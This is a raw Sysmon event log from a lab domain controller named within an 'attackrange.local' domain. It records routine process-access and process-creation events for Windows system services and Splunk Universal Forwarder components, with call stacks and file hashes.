09:09:41.918{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002260Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:41.918{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002259Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:41.918{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002258Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:41.918{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002257Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:41.918{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002256Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:41.918{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002255Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:41.918{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28D5-5F80-6700-000000007F01}3984C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002254Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:41.918{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002253Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:41.918{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002252Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:41.918{A5F018FF-28CF-5F80-2F00-000000007F01}25282280C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28D5-5F80-6700-000000007F01}3984C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002251Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:41.918{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002250Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:41.752{A5F018FF-28D5-5F80-6700-000000007F01}3984C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe8.0.2Remote Performance monitor using WMIsplunk ApplicationSplunk Inc.splunk-wmi.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=5DA29397A44401083341D66B52CA8BC4,SHA256=F51A58BCBF3532B9EF1B6478839424C33EA0426BCD5C6B4B636AD25D5177379C,IMPHASH=FFEB0CD073A55A73D08AC443E4942F81{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 22542200x80000000000000002249Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:37.891{A5F018FF-28CF-5F80-3300-000000007F01}2624WIN-DC-17966110fe80::15f7:4ea2:8f9e:67e8;::ffff:10.0.1.14;C:\Windows\System32\dfsrs.exe 10341000x80000000000000002276Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:42.762{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D6-5F80-6800-000000007F01}3840C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002275Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:42.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002274Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:42.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002273Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:42.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002272Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:42.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002271Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:42.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002270Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:42.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002269Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:42.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002268Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:42.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002267Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:42.762{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002266Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:42.762{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28D6-5F80-6800-000000007F01}3840C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002265Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:42.762{A5F018FF-28CF-5F80-2F00-000000007F01}25282280C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28D6-5F80-6800-000000007F01}3840C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002264Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:42.594{A5F018FF-28D6-5F80-6800-000000007F01}3840C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000002290Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:43.762{A5F018FF-28D7-5F80-6900-000000007F01}37483776C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 